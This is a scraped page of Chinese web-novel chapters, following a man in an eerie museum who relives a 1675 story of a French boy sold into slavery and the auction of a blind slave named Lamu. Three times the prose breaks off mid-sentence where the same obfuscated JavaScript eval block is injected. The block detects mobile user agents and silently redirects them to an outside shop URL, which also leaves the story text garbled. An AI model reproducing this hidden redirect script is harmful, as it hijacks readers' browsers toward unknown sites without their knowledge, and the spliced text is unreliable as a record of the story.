阴女靠近他耳边,用仅有两人可闻的声音说:“接下来,您可以自己去实现愿望。” 周书云的眼泪忽然就落下来了。 10. 异境 远远的,已经可以看见营口的海岸了。 周书云不由自主握紧船舵,死死盯着停在那里的日本船。随后,他松开手走到舱门探出半个身子,对甲板上惬意吹着海风的阴女说:“阴女,我可以请求你一件事吗?” 阴女转过头来,眼睛被风迷得半闭着:“什么事?” “等鬼子死光……”他顿了顿,像是下定某种决心般深吸一口气,“你就杀了我,随便立个碑写上名字就行。” “您放心,阴女会将您吃得干干净净的。”阴女舔舔自己的尖牙,“一块骨头都不会剩下。” ———— 周围的景象晃动起来,如烟雾般散了。 赵义之保持着触摸毛发的姿势,很久才回过神来,放下手。他低头呼气时,目光瞥见石台右下角的展品介绍。黑色的铭牌上有两个白色大字——龙须。 他无力地笑了两声,并不相信。 无论是之前的宴会也好,还是刚才看见的故事也好,与其说是某种怪异的现象,不如说是催眠更符合常理。赵义之开始将所有看似奇怪的事整合到一起,经过几分钟的认真分析后,得出了一个结论。 他被骗进了某种传销组织,目前正在经历被洗脑的过程。 有了这个认知后,赵义之不再对收留自己的馆主抱有感激,甚至产生了一丝想反抗的心思,不禁在暗暗评估,若是发生肢体冲突,自己的胜算有多大。 昨夜他摸过馆主的手臂,隔着衣服,依然可以感觉出他的纤瘦,而论身高,他好歹有186.8,肉眼所见和馆主差不多。万不得已发生暴力冲突,至少在一对一的情况下,他有信心不会输。 很快,赵义之又摇摇头,否定了和馆主发生冲突的选项,转身开门走出展室。 ——昨……高速路……事故,两人当…………抢救无效……四人……雨天路滑……司机……注意…………意外……—— 安静的走廊上隐约传来新闻播报的声音。赵义之凝神仔细听了听,这才轻轻关上展室的门,寻着声音的来源而去。 起初他还不太在意,想着有接收新闻的电器,至少他被关在这里的日子不会太无聊。然而随着他一层一层找下走,他才逐渐意识到周围似乎有些异样。 ——昨天傍晚……G5高速路发生……事故,两人当场死亡……抢救无效死亡,四人……雨天路滑,请各位司机……注意观察路况……意外事故—— 新闻的内容不断重复,始终都是与这起车祸相关。播报的声音收到信号干扰,断断续续,没有变大或变小,像是与他之间始终保持着相同的距离。 意识到这一点,赵义之浑身起了鸡皮疙瘩。而更令他感到不安的是,整座博物馆里,除开新闻播报、以及他自己的脚步声与呼呼吸声,就再没有任何动静。好似除了他,所有人都消失不见。 这是最可怕的。 于是赵义之仔细辨别着新闻播报传来的方向,来到一间没有镂空花纹大门的房间外,轻轻推开门。 ——昨天傍晚七点十五分,G5高速路发生连环追尾事故,两人当场死亡,一人送医后经抢救无效死亡,四人重伤。雨天路滑,请各位司机谨慎驾驶,注意观察路况,避免发生意外事故—— 播报的女声立刻清晰许多。 站在门口朝里面环顾一周,确定里面没有危险,赵义之才放慢步子走进去。 与之前他所见过的陈列展品的房间不同,这里像是一间单人办公室。沙发与茶几摆在进门不远处,正对门与书架。书架上放着一本台历,左边写着2020,右边正好翻到六月。胡桃色的书桌摆放在右面墙上的落地窗前,桌上有一台老式收音机,正反复播放赵义之听见的新闻。 赵义之走过去尝试着按下关闭钮,瘆人的声音才终于消失。 可没等他长舒一口气,便听得咔嗒一声,像无形之中有个人再次打开收音机,又开始播放同样的新闻。 赵义之的头皮一阵发麻,僵在原地不敢动。办公室里除了他,并没有第二个人的身影。 此时,外面的走廊上响起皮鞋走在木地板上的脚步声,干脆而低沉。 馆主穿的就是皮鞋,赵义之猛地想起来,大步走出房间:“馆主!” 他只看到消失在转角处的脚后跟。 “拉姆。”赵义之大喊着追上去,“拉姆等等!” 可当他冲到转角处一看,人影和脚步声又全都消失了。 “拉姆!” 他中气十足的声音孤独的回荡在博物馆里。 “别玩我了。我们坐下来聊聊行不行?人长嘴是用来交流的,我们交流一下?” “聊都不肯聊?那你出来听我说也行,你先出来好不好?馆主?拉姆?出来嘛。” 此时的博物馆显得尤其空旷,让赵义之的脚步声若隐若现地出现回音。 前方两三米之处有一扇门,门上三分之一是镂空的雕花。透过镂空处,可以窥见里面石板样式的墙壁。赵义之走上前朝里张望一眼,顺手推门走进去。 “拉姆?” 里面没人。 他没有离开,走到石台前,望着中间圆柱上放着的将近成年男人手掌一半大小的十字架。这枚银质十字架已经失去它原有光泽,缝隙间藏着黑痕,若不是放在这个地方,想必根本不会有人注意到它。 他瞥了一眼石台右边的铭牌,根据经验,伸手抓起十字架。 铭牌上写着——达尼的十字架。 ———— 公元1675年三月。 年仅十三岁的他被以二十八英镑五便士的价格卖给奴隶商人。 卖他的人是父亲的弟弟,也就是他的叔叔。 叔叔是个赌鬼,老婆跑了便没有再娶。当他输光哥哥留下的所有遗产后,通过关系匪浅的妓女出售自己的亲侄子,然后一边数着钱一边领着奴隶商去家里抓人。 自从跟着叔叔生活,赵义之便没有吃过饱饭。他时常独自走进修道院,好心的神父会在神的指引下给他一个土豆或是半块面包。可也不能每天都去,所以他有一大的半时间是在山里,设下陷阱抓鸟抓野兔,吃饱再回叔叔家睡觉。有时抓到的猎物吃不完,他会拿到街上去卖,得到的钱便装进罐子里存起来。 等存够了,他要搬出去,建一座房子,每天有面包吃。 感谢主的赐予,阿门。 “放手!放开我!”赵义之挣扎着。 身形高大的壮汉像拎鸡仔般高高抓住他纤细的手臂,衣着华丽讲究的奴隶商眯起眼上下打量他一番,捏着精心打理过的胡子对门外的叔叔说:“这就是你说的‘什么活都可以干’的健硕少年?这么瘦,恐怕连水都挑不动吧?” 叔叔谄媚笑道:“您别看他瘦,力气大着呢。” “你知道年纪这么小的,只有女孩能卖个高价的吧?” “有不少贵族老爷可是更喜欢年纪小的男孩。”叔叔走进门来,捏起赵义之的脸给奴隶商看,“您瞧瞧,我这侄子长得还不错,肯定有人愿意出高价钱的。” 奴隶商盯着赵义之的脸看了片刻,又问:“他以前做过类似的事吗?” “没有,当然没有!” “好吧,他归我了。”奴隶商说完走出门。 赵义之慌张起来,挣扎得更厉害了:“叔叔救我!卡尔叔叔!您不能卖我!” 叔叔置若罔闻,送走奴隶商与自己的亲侄子,关上家门高高兴兴去赌场。 上船之前,赵义之先被带去铁匠铺。壮汉一只手死死摁着他的肩,一直手揪住他脑后的头发,让铁匠在他脖子间套上一只挂有他名字的铁环。 这一刻,他彻底成了奴隶达尼。 “带他回船上关起来,别让他跑了。”奴隶商吩咐壮汉,随后他自己便消失在波尔多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248783|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的街头。 奴隶商的贸易船停靠在繁华的夏特龙码头上,三根桅杆上的白色船帆全被收起来,只剩瞭望台上的尼德兰国旗迎风飘扬。 许多船只正在装货,健壮黝黑的男人们将葡萄酒一桶一桶抗在肩头搬上去,连海风都醉在酒香里。达尼趁壮汉与别的水手打招呼时,用脚后跟狠狠踩了他的脚,然后迅速挣脱桎梏逃跑。可没跑多远,旁边坐在木箱上喝酒休息的水手半路冲过来,将他一把扛起,还给壮汉。 “要是让货物跑掉,你可得吃大苦头。”捉住达尼的水手笑着对壮汉说,“该怎么感谢我?” “让你拿这小子当沙包怎么样。”壮汉非常生气,扬手用力扇了达尼几个巴掌,将他扔进甲板下的船舱,扬着拳头恶狠狠警告他老实待着。 头顶的木板重新盖上,还好有盏晃动的煤油灯,才让达尼勉强看清密密麻麻挤在一起的人——黑色的人。或许是因为他们的皮肤过于黝黑,当充满同情与畏惧的目光投向达尼时,他只看见黑暗中一双双发光的眼睛。 格外瘆人。 尼德兰人的商船跨越大西洋前往美洲非洲,将当地土著抓上船,当做奴隶运回欧洲贩卖。这些土著挤在狭小的船舱里,脖子上是作为奴隶标志的铁项圈。等到有人买下他们,项圈上便会刻下主人的名字。 为了尽可能装下更多奴隶,船舱用来放置物品的隔层上也塞满了人。低矮的空间让他们无法起身或是站立,只能偶尔勉强翻翻身。隔层下的人也并没有好到哪里去,靠外的还有站立的空间,里面的便只能抱腿屈膝坐着。 稀薄的空气混和汗水发酵后的恶臭,几乎令达尼感到窒息,他甚至没有走到他们中间去的勇气,不禁后退半步,转身爬上木梯,用力拍打头顶的木板恳求外面的人能放他出去。 水手们在甲板上喝酒唱歌,在琉特琴声的伴奏下,比波尔多的酒馆更热闹。 离达尼最近的隔层上的男人伸出骨瘦如柴的手臂,拉了拉达尼,一面说着他听不懂的语言一面摆摆手,接着指了指人群中。 本就足够拥挤的人群尽全力为他腾出可以坐下的空隙,还好他身形小,才容得下。 达尼看向同样瘦骨嶙峋的黑人为他留出的地方,默默哭着走过去,坐下,终于还是忍不住小声哭泣。 他并不是这里唯一白色的人,坐在他右边的,是一个与他有着相同肤色的男人——他用粗麻布裹着身体窝在角落,船离港之后的几天,水手第一次来发食物时,达尼才发现他。 奴隶商几乎不怎么给他们水,就连食物也是隔几天才发一小块干巴巴的面包。饿得头晕的达尼拿到面包后迫不及待大口吃起来,还不等发面包的人离开船舱,他便已经吃完了。 “您发的面包太少了。”达尼走到发食物的水手面前乞讨,“请您再给我一块面包吧。” 水手用力将他推开,大声呵斥:“每个人只有一块面包!” 达尼继续祈求:“那、那请给我一点水,我已经好几天没喝水了。” 水手哈哈大笑:“你可以像他们一样,喝自己的尿。” “我不想喝尿,请给我一点水。”他早已没有最开始来时的那股力气去反抗,饥饿和口渴使得他奄奄一息。 “滚开!”水手无情地揍了达尼一拳,不耐烦地发完食物迅速离开了。 达尼不得不回到原来的地方坐下,捂着饿疼的肚子。这时,他右边的男人捡起水手扔给他掉在木板上的干面包,丢进达尼怀里。这是达尼来到商船后,男人的第一个动作,此前,他便像是石膏一般闭着眼睛从未动过。 达尼非常感激地看向男人,手里紧紧拽着那块只有他手掌大小的面包:“您、您不吃吗……?” 男人又变回一座石膏的模样纹丝不动。 “谢谢您!”达尼礼貌地道谢,然后凑近男人的脖子去看他项圈上的名字,“拉……姆……先生。” 11. 若我能自由选择 拉姆先生几乎不吃东西。 不,准确来说,他没有吃过任何东西。每次商船的人来派发面包或是饼干,拉姆先生便会等人离开后将自己那份扔到达尼怀里。他非常感激,试图找些有趣的话题与拉姆先生拉进关系,可每次都是他喋喋不休地说,拉姆先生不做任何反应。 但他仍然坚持每天至少睡觉前和拉姆先生说一声晚安。 如果没有拉姆先生,他很可能已经饿死了。 适应饥饿后,达尼开始学习其他人做法,每天只吃一点,让手里的食物尽量撑到下次派发的时候。这其中还有另一个原因——如果拉姆先生饿了,他有能立刻拿出来的食物。尽管拉姆先生从未发出过任何声音。 船在进入圣乔治海峡即将到达英格兰的利物浦港时,奴隶们全被带上甲板,由奴隶商亲自清点。船舱中的人陆陆续续站起来,身体几乎赤裸着,他们在当初上船时被扒光衣服,只剩一块布用来遮羞。正好外面的光照下来,显露出黑人们只剩骨架的身体。 因长时间保持着一种压抑的姿势,他们的身体站不直,颤颤巍巍的,互相搀扶着才总算走出去。水手们嫌弃奴隶磨蹭,挥动手里的鞭子狠狠抽打,直到心里舒坦了才停下。 达尼不想挨打,立刻起身紧紧跟在队伍后面。 “你。”一个拿着鞭子的水手推开达尼走进船舱,来到拉姆面前,“站起来!不想挨打就赶紧滚上去!” 拉姆闭着眼,一动不动地坐着。所有奴隶中,唯独拉姆身上有条粗麻布,从头裹到脚。 眼看水手已经愤怒地扬起鞭子,达尼立刻冲过去挡在拉姆身前,露出可怜的表情哀求道:“善良的水手约里先生,请让我扶拉姆先生去甲板。” 水手不想收回已经扬起的鞭子,顺势落下抽在达尼身上:“达尼,这是你多管闲事的惩罚。在我改变主意前,带他上去。” “是、是的……”达尼捂着受伤的手臂,咬牙忍着痛,艰难地从齿缝见挤出几个字。 他转过身,正要扶拉姆起来,却发现拉姆的眼睛不知何时睁开了。 这是一双黯淡无光失焦的灰白色眼睛,宛如山雾弥漫的深林,寂静、幽邃、了无生气。达尼曾经见过这样的眼睛,那是个星河漫天的夜晚,被山贼杀害的一男一女倒在马车旁,死不瞑目,等到山贼掠走所有值钱的东西,他从躲避的草丛里走出来,看着两双了无生气的眼睛小声痛哭。 那是他的父亲和母亲。 “麻利点!你还想挨鞭子吗?” 达尼打了个激灵,上前挽起拉姆的手臂:“拉姆先生,我们出去吧。” 拉姆还是没有做声。但这一次,他慢慢站了起来,身上的麻布滑落在地板上。他没有捡起,在达尼的搀扶下走上甲板,蹲在奴隶堆里。 “全在这里了。”最后走上来的水手对奴隶商说。 奴隶商手里拿着翻开的名册,一一对照确认数量,目光最后落在拉姆的脸上,露出精明的笑:“拉姆,我亲爱的拉姆,你终于肯睁开双眼了。如雕塑般美丽的你,如果拥有一双看得见的眼睛,想必定能为我带来更大的财富。” 卷曲的浅棕色头发在阳光的照耀下,竟泛起金色的光。袒露在外的身体没有因缺少进食而变得干瘪,虽然称不上健壮,但仍旧保持着薄薄的一层肌肉,修长而流畅。精致的眉目、翘挺的鼻子、红润的嘴唇,这样的他坐在一群干枯疲惫的黑人中间,显得尤其惊艳。 连达尼这样的小孩,都看得眼睛发直。 “给拉姆找件配得上他的衣服,带他去擦擦身体。”奴隶商指挥旁边的人,“别做出格的事。” 达尼见状也站起身:“安东尼先生,请让我也——” “不行,达尼。”奴隶商的语气忽然淡下来,“你得留在这里。” 一左一右两名水手将拉姆带走了,达尼不停朝他们离开的方向担心回望,竖起耳朵时刻听着那边的动静。他害怕拉姆先生的态度惹恼那些水手,所以他必须时刻关注着,好在第一时间冲过去替拉姆先生解围。 清点完毕的奴隶商将名册递给旁边的大副:“到了利物浦,先将黑人带去奴隶市场交给鲁斯先生。” “那……达尼呢?”大副问。 奴隶商又捏起了他那滑稽的胡子,盯着达尼思考起来:“毕竟花了二十八英镑五便士……去打听一下,是否有贵族愿意买下一名白奴,我想应该很快就会收到回应。对了,记得着重提一提达尼的年龄,十三岁。” 大副抬眼瞥向达尼,随后收回视线:“明白。” “如果达尼是女孩子就好了。”奴隶商意味深长地补充。 抵港的第二日,他的买家便有了消息,是罗切斯特伯爵威尔默特。 奴隶商准许达尼擦干净身体,穿上衣服——平民的衣服,然后聘来马车带上他与拉姆一同前往伦敦。 与想象中不同,拉姆先生穿的并非奴隶商身上那样有蕾丝的骑士装,而是极其简单的一块布,一边遮住半个身体搭在头上像帽子,另一边从手臂下绕上来,搭在被遮住的手臂上,对了,就是古罗马人穿的托加那样。拉姆先生的脸用面纱遮起来了,贪婪的奴隶商说这是为了在取下面纱时给人致命一击。 拉姆先生就像是没有灵魂的提线木偶,任由奴隶商摆布。 达尼很想剪断奴隶商手里的线,放拉姆先生自由。 只可惜他是个连自己的自由都无法保证的小孩,他恨自己的无能为力。 马车行驶一天一夜,终于在第四天的下午,停在罗切斯特伯爵的宅邸门口。 定下交易后,奴隶商与威尔默特约定好交货的时间,所以当仆从远远看见马车,向他报告,他便不慌不忙从书房里走出来,站在会客厅的格子窗前,盯着跟在奴隶商身后经过花园的达尼。 “库里,你怎么看?”威尔默特问身边的仆从,“那个孩子值得我花七十英镑吗?” 仆从不做评论:“我去准备茶点。” “不用了,我不喜欢那个尼德兰人,给了钱让他赶紧走。”威尔默特走回来坐在扶手椅上,左手托着腮,右手不停敲击着木头扶手,看上去有些不耐烦。 皮靴走在大理石地面上发出清脆而富有节奏的噔噔声,不一会儿,奴隶商便摘下帽子放在胸前走进来,向威尔默特鞠躬行礼:“罗切斯特伯爵您好,鄙人是尼德兰商人安东——” 威尔默特挥挥手打断他的话:“领了钱就快走,把他留下就行。” 在一旁等待的仆从双手递上早已准备好的支票,面带微笑恭敬地微微弯下腰:“一共七十英镑,请您确认。” 奴隶商接过支票立刻放进怀里:“不用确认,我相信伯爵。”随后他又拿出一张请柬,笑眯眯地递给仆从,转身对威尔默特说,“罗切斯特伯爵,两日后,城外的克缇尔庄园将会举行一场有趣的活动,唯有获得请柬的人能参加,身份保密。活动从下午四点开始,欢迎您的驾临。” “克缇尔庄园?”年轻的威尔默特轻哼一声,“难道又是什么无聊的茶话会?” “是……”奴隶商想了想,忽然灵光一现说道,“是‘艺术鉴赏’活动。我们会为尊贵的客人准备好面具,不会让您感到不愉快。” 威尔默特终于表现出感兴趣的样子,将目光放在奴隶商那张令他厌烦的脸上:“如果有空我会去。希望你的‘艺术’不会令我失望。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248784|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然。”奴隶商丝毫不掩饰自己此刻的欢喜,再次向威尔默特鞠躬行礼,“那鄙人在克缇尔庄园恭候伯爵。” “库里,送他出去。” “不必劳烦,鄙人告辞。” 奴隶商擦拭得十分光亮的皮靴再次在大理石的地板上踩得噔噔作响。随着脚步声远去,威尔默特打个哈欠,向仆从库里伸出一只手。在他手心摊开的一瞬间,库里便将请柬放上去。他是个非常贴心的仆从,能预判威尔默特绝大部分的动作。 “听说你是法国人?”威尔默特一边看着请柬上的内容一边用法语问达尼,“叫什么名字?” 达尼在发愣,直到库里干咳一声提醒,这才反应过来,立刻学着奴隶商的模样鞠躬行礼:“我叫达尼,伯爵阁下。” 威尔默特拎起请柬的一角晃动,斜眼看着达尼问:“关于这个‘艺术鉴赏’活动,你知道多少?根据你的回答,我会考虑是否给你安排轻松的工作。” “呃我……”达尼并未从奴隶商那里听说有这样的活动,但转念想到被特意打扮拉姆先生也随行来到伦敦,他似乎就有了头绪。 等得不耐烦的威尔默特敲响扶手皱眉催促道:“别忘了你现在是属于我的,瞒着我就要受惩罚。” 达尼的眼神变得明亮:“罗切斯特伯爵,我知道‘艺术鉴赏’的内容。奴隶商……安东尼先生身边有位宛如天使一般的男士,他和我一样也是奴隶。我想,安东尼先生是准备将他卖个大价钱。” “天使?”威尔默特挑了一下眉,再次看了看请柬上的内容,“拍卖会?” “我想是的!”达尼心中有了一个目标,他要说服伯爵去参加活动,“拉姆先生是我见过最美丽的人,不仅有英俊的外表,连心地也非常善良。如果没有拉姆先生,我说不定已经饿死在安东尼先生的船上了。” “我不想听你说废话。”威尔默特这样说着,但却并未打断拉姆。 “只不过……”达尼低下头,表情显得有些难过。 威尔默特一手托着腮,没好气地追问:“只不过什么?你是只青蛙吗?得让人戳一下才会往前跳。” 先前还一脸陶醉的达尼此刻像只淋雨的小狗,耷拉着耳朵:“拉姆先生的眼睛看不见。我很担心拉姆先生,要是他被恶毒的人卖下来,一定会吃苦头的。拉姆先生实在太可怜了……” 威尔默特收回落在达尼身上的目光,坐正身体:“库里,你觉得怎么样,这个拉姆值得我去赴宴吗?” 库里谦逊而温和地微笑道:“即使这位拉姆先生不值得您浪费时间,但能看见庸人之间相互争斗,又怎么不算一种打发时间的乐趣呢。” “那就这么决定了。”威尔默特站起身,“告诉那个尼德兰人,我会去的。” 库里微微低下头:“好的,我的主人。” “还有,这个小法国佬实在太臭了。”威尔默特捏起鼻子指着达尼继续对库里说,“洗干净之前不许让他出现在我面前,更不许他睡觉。”他说这句话时故意用的法语,就是为了羞辱达尼一番,好像这么做会令他自己开心。 达尼偷偷抬起手臂闻了闻,疑惑地蹙起眉。他没有闻出自己身上有异味。 “我稍后便带达尼去洗澡。”库里恭敬地送走威尔默特。 “库里先生……”达尼胆怯地开口。 库里挺直后背微笑着说:“你不必在意,伯爵只是不擅长与孩子打交道。” 达尼不解:“那伯爵为什么要买下我呢?” “或许……只是一时兴起。走吧,我带你去洗澡,干净的衣服已经送到你房间了。从明天开始,你跟着我学习如何照顾伯爵。” 12. 在疯狂中沉醉 年轻的约翰·威尔默特十一岁时继承父亲的爵位,当上第二位罗切斯特伯爵,十八岁作为海军参加与尼德兰的战争——这正是他讨厌的尼德兰人的原因。 如今,他二十八岁,是位小有名气的诗人。 尽管威尔默特有着令人尊敬的才能,但同时,他也是王宫中最不拘小节的异类。 奴隶商安东尼特意为他送去拍卖会的请柬,正是看中他的放浪不羁。他打赌,只要威尔默特亲眼见过拉姆,就一定会花大价钱将他买下来。 马车陆陆续续来到克缇尔庄园的门口,带着白色面具的男仆们纷纷迎上去,站在被帘子遮住的窗外,问里面的客人需要几副面具,得到回应后便按要求递上面具。这时,会从帘子后面伸出一只戴有手套的手,接下装饰着羽毛的面具。客人们直到戴上面具遮住容貌,才敲敲车厢示意车夫开门,从里面出来。 女人们盘头带帽,身着以绸带花边修饰的艳丽长裙。男人们各持一根手杖,脚下是高至小腿中段的高跟靴,蕾丝垂领如披肩般搭在外套上。珍珠是这些贵族最喜爱的装饰之一,无论男女,身上某处总是能见到它的身影。 达尼被眼前奢华的服饰吸引了目光,不禁有些晕头转向。 “库里。”威尔默特皱起眉不悦地喊道。 库里上前一步在威尔默特的耳边小声提醒:“伯爵,我们已经进入这次活动的庄园范围内了,还请不要叫我的名字,以免暴露您的身份。” 威尔默特扬着下巴,对库里的话充耳不闻:“难道你没有教那个小法国佬最基本的礼节吗?去告诉他,不要走在主人前面!” “是。”库里小声应下。接着他来到达尼身旁拍了拍他的肩,“达尼,别乱走。我们都戴着面具,你会跟丢的。” 达尼眼中尽是对这个全新世界的惊叹:“这里太漂亮了,每个人都很漂亮。我这不是在做梦吧?” 威尔默特冷哼一声:“小乡巴佬。” 罗切斯特伯爵说得不错,他的确是个没见过世面的小乡巴佬。但是达尼没有因为伯爵毒辣的话而伤心,反倒是十分高兴。因为他很快就可以再次见到拉姆先生了。 他一定要想办法让伯爵买下拉姆先生。 拍卖会晚上才开始,庄园的主人为贵宾们准备了丰盛的晚宴,有法兰西的葡萄酒、尼德兰的奶酪、以及用印度香料腌制后炙烤的牛肉与鲜嫩的鳕鱼,当然还有洒满糖霜的白面包。仆人用精致的银具为宾客盛上食物,人们脱下镶有珍珠的手套,拿起刀叉享用美食。 作为随从的达尼拘谨地站在威尔默特身后,盯着面前的牛肉紧张到不停咽口水。他连做梦都不敢想能吃上这些东西。 玻璃酒杯被银勺敲击两下发出清脆的音节,随后奴隶商洪亮的声音在餐桌一端响起:“晚上好诸位贵宾。” 所有人不约而同朝他看去,当然,达尼也一样。 奴隶商没有入座用餐,而是站在某个人身后,一手高举着葡萄酒,脸上带着友好的微笑。在打扮时髦华丽的人群里,唯独那位穿得像古罗马人的男士十分朴素,同样也显得十分奇怪。 “拉姆先生!”达尼小声惊呼。 无视奴隶商自顾自大口吃肉的威尔默特听见达尼的话,终于扭头朝奴隶商的方位看去,随后皱了皱眉。 奴隶商站在拉姆身后,见威尔默特有了兴趣,脸上不由得划过一丝狡黠:“请举起你们的酒杯,让我们为接下来的活动干杯吧!” “为什么他会出现在这里?”威尔默特毫不客气地用手里的叉子指着拉姆,“为什么他还戴着面纱?” “因为他很害羞,先生。”奴隶商笑着回答。 “不对,先生!”达尼靠近威尔默特小声说,“他是在故意吊胃口!” 威尔默特扔下手中的刀叉,用餐巾擦擦嘴,然后站起身径直走到拉姆旁边,一把扯下他的面纱。 室内的自然光影下,拉姆如同一件静静放置的希腊雕塑,找不出一丝瑕疵。宾客们为他的容貌发出惊叹,就连亲手扯下面纱的威尔默特也惊讶得说不出话来。 “先生。”奴隶商对现场的反应非常满意,从威尔默特手中拿过面纱再次将拉姆的脸藏起来,“让我们继续享用晚餐吧。”他拍拍手,一旁的仆人便走过来,将威尔默特带回他自己的位置。 奴隶商再次举杯:“干杯。” 宴会的气氛显然比之前活跃许多,彼此保持着戒备的宾客相互碰杯、寒暄,期待着接下来的活动。 威尔默特却和他们不一样,反倒一句话也不说,像有什么心事,自己端着酒杯喝起来。 宴会结束后,宾客们各端着一支蜡烛,在仆人的指引下离开主馆,来到庄园后面的一间小礼堂,在绘着圣母的壁画下十指交叉相握,默默祷告。 “先生,您不祷告吗?”做完祷告的达尼小声问威尔默特。 威尔默特翻了个白眼:“主为什么不把那七十英镑还给我。” 达尼还想追问,看见库里将食指竖在唇前做出噤声的手势,这才作罢。 随着仆人不断点燃讲坛两侧巨大的蜡烛塔,礼堂逐渐变得明亮起来。奴隶商登台行礼,拍卖会正式开始。 商船带回来的不止有奴隶,还有许多稀奇的东西。比如大清国的青花瓷,比如日本的村正刀,比如印度的金佛…… 全是市面上见不到的。 威尔默特懒懒地靠着椅背,不时打个哈欠,表示出自己对这场活动感到无聊透顶。直到奴隶商提高嗓音介绍今晚最后一件艺术品,他才终于坐正身体,将手里的牌子扔给坐在他右边的库里:“你知道怎么做。” “我知道,先生。”库里脸上洋溢着笑容。 拉姆走上讲坛,脸上的面纱已经被取下。 奴隶商满意地扫过下面跃跃欲试的宾客,微笑着大声说:“最后的商品,‘雕塑拉姆’,起拍价,五百英镑!” 宾客纷纷哗然。这个价格已经超过绝大多数人三个月所挣的钱,足够买九个甚至十个黑奴! “五百二十英镑。”库里举起手中的牌子,用自己平和的嗓音让喧闹归于平静。 他们三人坐在最后面,几乎可以看见整个礼堂的人。 “五百二十五英镑。”前面有男士开始竞价。 库里再次举起牌子:“五百五十英镑。” “五百八十英镑!” “六百英镑。” 第一次与库里竞价的男士回头朝这边看了看,一咬牙,再次举起牌子:“六百一十英镑。” 库里从容不迫地紧咬着他:“六百三十英镑。” 那位男士只得无奈摇摇头,放弃了。 “还有人愿意出比六百三十英镑更高的价格吗?”奴隶商举起手中的小锤环顾一圈,“六百三十英镑第一次。” 威尔默特的嘴角勾起胜利的微笑。 “六百三十英镑第二次……” 角落里有位女士举起牌子,喊道:“八百英镑。” 全场因为震惊而鸦雀无声。 “给我!”威尔默特十分烦躁,从库里手中抢过牌子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248785|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举起来,“一千英镑!” 达尼捂住狂跳不已的心脏,甚至忘记了呼吸。 那位女士再次举牌:“一千五百英镑。” “两千英镑!”威尔默特用挑衅的目光盯着女士的后脑勺,可惜那位女士并没有回过头看他。 “两千三百英镑。” “两千五。”威尔默特连英镑两个字都懒得说了。 女士终于垂下竖起的竞价牌。 能卖到两千五的价格,对奴隶商而言远超预期,是一笔相当惊人的数目,但他还是保持着绅士的风度,优雅微笑:“两千五百镑第一次……两千五百磅第二次……两千五百磅第三次!恭喜这位先生!‘雕塑拉姆’是属于您的了!” 在鼓掌声中,达尼终于长长吐出一口气,随后也激动地用力鼓掌。 实在是太好了! 威尔默特将竞价牌往库里怀中一扔:“去写支票。” “好的,先生。”库里站起身,将竞价牌放在自己坐的椅子上,离开了礼堂。 拍卖会结束,没有收获的人已经起身准备离开,有收获的人放松身体等待最后的交接。而达尼,可爱的达尼,还在热泪盈眶地为威尔默特拍手鼓掌。 威尔默特恶狠狠地盯着满面春风的奴隶商,心情并不好:“该死的尼德兰人,竟然让我损失了一年的收入。停下,别拍了,可恶的小法国佬,你怎么会这么蠢!” 达尼这才停止鼓掌,兴奋地说道:“谢谢您,真的非常感谢您,先生。” “谢我?”威尔默特被他搞得一头雾水,“为什么谢我?” “就、就是想谢谢您。” “别高兴得太早。你给我听清楚了,我付给你七十英镑的工资,你就得干七十英镑的活。什么时候干完,什么时候滚蛋。” 工资?达尼疑惑地看着威尔默特:“奴隶也能拿到工资吗?” “奴隶?”威尔默特不悦地挑起眉尾,斜眼看向达尼,“蠢货,我不需要奴隶,尤其是像你这样的,更不需要。” “我不是您买下的奴隶吗?”达尼尽可能地理解威尔默特的意思。 “找个时间,去把你那可笑的项链拿下来。不,别找个时间了,明天就去。顺便带上拉姆一起。别再让我看见那个脏东西。” 达尼抬手摸了摸自己的项圈,似乎明白威尔默特的意思了。 “该死的尼德兰人来了。”威尔默特皱眉说道。 奴隶商走过来向威尔默特行了一个礼,小声说:“罗切斯特伯爵,恭喜您获得世间仅此一件的艺术品。” “支票你收到了?” “已经收到了。”奴隶商礼貌微笑,“艺术品我已经打包好交给了您的仆从,今晚回去,您可以好好欣赏。我想,不需要我再多说什么了,你一定知道怎么做。” 威尔默特猛地站起来,冷冷说道:“祝你生意兴隆。”随后他便头也不回地大步走出礼堂。 达尼正要跟上去,忽然被奴隶主叫住:“达尼,我应该谢谢你。” “谢谢……我吗?”又是一句他听不懂的话。 “你一定对伯爵说了很多关于拉姆的好话。”奴隶商露出狡黠的本性,“能卖出两千五百英镑,除了拉姆自己,就是你的功劳了。” 达尼愣在原地。但他很快便回过神来,追着威尔默特的步伐跑出礼堂。 在通往庄园大门的路上,威尔默特一直在因为让奴隶商赚了自己两千五百英镑而生气,并不停地骂他:“真希望他明天醒来就发现自己的头发全掉光了!” 13. 